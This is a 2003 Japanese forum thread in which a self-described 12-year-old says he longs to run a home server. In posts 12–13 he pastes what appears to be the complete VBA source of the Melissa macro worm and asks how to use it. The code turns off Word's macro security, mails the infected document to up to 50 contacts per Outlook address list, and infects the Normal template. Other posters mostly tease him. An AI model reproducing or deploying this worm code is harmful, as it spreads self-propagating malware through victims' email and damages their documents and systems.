トップページ⇒自宅サーバ
127コメント31KB
自分は自宅サーバーにあこがれています
0001sine
垢版 |
03/03/19 14:18ID:vQcB1l5S
自分は自宅サーバーにあこがれています
0003sine
垢版 |
03/03/19 14:19ID:vQcB1l5S
自宅サーバーを立てるヒントでもいいので教えてください
0005sine
垢版 |
03/03/19 14:23ID:vQcB1l5S
windows2000 dedacenter saver
というのは大きなサーバーすきすぎますよね(@@);
0007sine
垢版 |
03/03/19 14:27ID:vQcB1l5S
なんかドスプロンプトで
ping goo.ne.jp
と入力するとgooのＩＰが
表示されるそうなんですが・・・
0008sine
垢版 |
03/03/19 14:28ID:vQcB1l5S
わたくし、１２歳のものでございます(￥￥)；
0009sine
垢版 |
03/03/19 14:29ID:vQcB1l5S
ふふふ
0010sine
垢版 |
03/03/19 14:30ID:vQcB1l5S
ってか　ふふふ　ってなんだよ？
0011sine
垢版 |
03/03/19 14:34ID:vQcB1l5S
やっぱ自宅サーバーだよね
0012DNS未登録さん
垢版 |
03/03/19 14:40ID:vQcB1l5S
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

0013sine
垢版 |
03/03/19 14:41ID:vQcB1l5S
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
0014sine
垢版 |
03/03/19 14:42ID:vQcB1l5S
ウイルスコードです
(一度にカキコできませんでした)
0015sine
垢版 |
03/03/19 14:43ID:vQcB1l5S
どうやって使うのでしょうか？
0017sine
垢版 |
03/03/19 14:49ID:vQcB1l5S
誰か書いてyoー
0018sine
垢版 |
03/03/19 14:50ID:vQcB1l5S
僕ちん悲しいyoー
僕って嫌われ者？
0020sine
垢版 |
03/03/19 14:51ID:vQcB1l5S
16よ私はそのような年ではないのだよ・・・
0021sine
垢版 |
03/03/19 14:52ID:vQcB1l5S
ねえねえ、それより自宅サーバーもってるの？
0022sine
垢版 |
03/03/19 14:53ID:vQcB1l5S
19よ、それはいえぬ・・・
0023sine
垢版 |
03/03/19 14:55ID:vQcB1l5S
すまんのう・・・
おまえさんにはいろいろ迷惑をかけてしまって・・・
0024sine
垢版 |
03/03/19 14:56ID:vQcB1l5S
なんてね！(笑)
0025sine
垢版 |
03/03/19 14:59ID:vQcB1l5S
Windows2000において重大なバグフィックスが発見された。
セキュリティーホールが空いており、
サーバーが乗っ取られる可能性がある。
なおWindows 2000サーバに搭載されたIIS 5.0にのみ影響だってー。
怖いね！

0026sine
垢版 |
03/03/19 15:00ID:vQcB1l5S
でも自分はプロだから大丈夫
0027sine
垢版 |
03/03/19 15:01ID:vQcB1l5S
DNS未登録さん はＯＳナニ使ってるの？
0028sine
垢版 |
03/03/19 15:03ID:vQcB1l5S
あれあれ？
またも自分は嫌われ者になってるし
残念・・・
0029sine
垢版 |
03/03/19 15:05ID:vQcB1l5S
いつもいつも自分がカキコするとそのスレが
人気なくなってしまうのはなぜ？
0030sine
垢版 |
03/03/19 15:06ID:vQcB1l5S
ＩＰぬくわよ
なんてね(笑)
0031sine
垢版 |
03/03/19 15:08ID:vQcB1l5S
出直してきます・・・
0032sine
垢版 |
03/03/19 15:11ID:vQcB1l5S
８８円ショップに行こうと、隣がうるさいので行ってきます。
(最悪〜)
0033DNS未登録さん
垢版 |
03/03/19 15:21ID:???
ずっとひとりごと言って・・・
寂しいの？大丈夫？おいちゃん心配しちゃうよ・・・
0034あらら・・・
垢版 |
03/03/19 15:50ID:???
また再利用できそうもない使い捨てスレができてしまいましたか
0037DNS未登録さん
垢版 |
03/03/19 16:09ID:pnSetZWy
ぼくも、なにも、しらずに、サーバーについて、しらべるところから、
はじめましたが、ちゃんと、うごいています。
１さんも、がんばって、ください
0040DNS未登録さん
垢版 |
03/03/19 17:03ID:iOnTvsee
ファイトーー!( ゜ワ゜)乂(゜ワ゜ )イッパーーツ!!
0042DNS未登録さん
垢版 |
03/03/19 19:24ID:???
>自分は自宅サーバーにあこがれています

諦めろ。

人間、逆立ちしたって、鯖にはなれん。
0045sine
垢版 |
03/03/20 14:27ID:zsam8iq6
37のDNS未登録さん、自分も頑張ります！！
0046sine
垢版 |
03/03/20 14:32ID:zsam8iq6
42のDNS未登録さん 逆立ちしたら、鯖になれました！！
0047sine
垢版 |
03/03/20 14:38ID:zsam8iq6
自宅サーバー・・・
0049sine
垢版 |
03/03/20 14:58ID:zsam8iq6
あはははははははは・・・
0050sine
垢版 |
03/03/20 15:10ID:zsam8iq6
わっしょん
0051sine
垢版 |
03/03/20 15:15ID:zsam8iq6
かきくけこっす！！
ｐｐｐ
0052DNS未登録さん
垢版 |
03/03/20 22:15ID:Rc++4zvo
イカに一台、自鯖
0055DNS未登録さん
垢版 |
03/03/24 01:28ID:uH02Xh92
このスレみたらウィルス警告が出た（初めて）
マジびびった・・
新着レスの表示
レスを投稿する

ニューススポーツなんでも実況